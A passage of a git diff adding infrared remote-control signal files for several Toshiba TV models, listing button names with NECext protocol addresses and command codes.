+name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 59 00 00 00 +# +name: DOULBY +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 71 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir new file mode 100644 index 000000000..bc14e7a44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: mts +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: ent +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4C 00 00 00 +# +name: locate +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4E 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 51 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 53 00 00 00 +# +name: cap/text +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 57 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 58 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 63 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir new file mode 100644 index 000000000..6c0bcb89c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: TXT/MIX +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: WIDE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 59 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 71 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 72 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir new file mode 100644 index 000000000..b11d6db74 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: tv/video +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: ch_rtn +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: cap/text +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 57 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 63 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 +# +name: set+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 82 00 00 00 +# +name: set- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 83 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 89 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir new file mode 100644 index 000000000..62b9ca308 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 0B 00 00 00 +# +name: rgb +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 1B 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 1D 00 00 00 +# +name: key +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 1F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 41 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 42 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 43 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 44 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 45 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 46 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir new file mode 100644 index 000000000..6e244114a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 13 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 14 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 1B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 40 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 42 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 43 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: E7 0A 00 00 +command: 45 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir new file mode 100644 index 000000000..c5b9dc263 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: picture_preset +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: audio_stereo_2channel +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: p_up +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: p_down +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 21 00 00 00 +# +name: stillpicture +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 22 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 2B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 2C 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 43 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 52 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 53 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 54 00 00 00 +# +name: widescreen +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 59 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir new file mode 100644 index 000000000..bd9d8a7ac --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0C 00 00 00 +# +name: expand +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: audio_stereo_2channel +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 13 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 21 00 00 00 +# +name: stillpicture +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 22 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 40 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 42 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 43 00 00 00 +# +name: atv/dtv +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 44 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 45 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: squash +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 53 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 54 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 +# +name: ad +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 62 00 00 00 +# +name: picture_preset +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 63 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 64 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir new file mode 100644 index 000000000..77aa66d2d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: save +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4C 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir new file mode 100644 index 000000000..fe35715c5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0B 00 00 00 +# +name: expand +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 14 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 15 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 16 00 00 00 +# +name: txt_tv +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: constrast +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: squash +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 53 00 00 00 +# +name: question +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 54 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 5B 00 00 00 diff --git 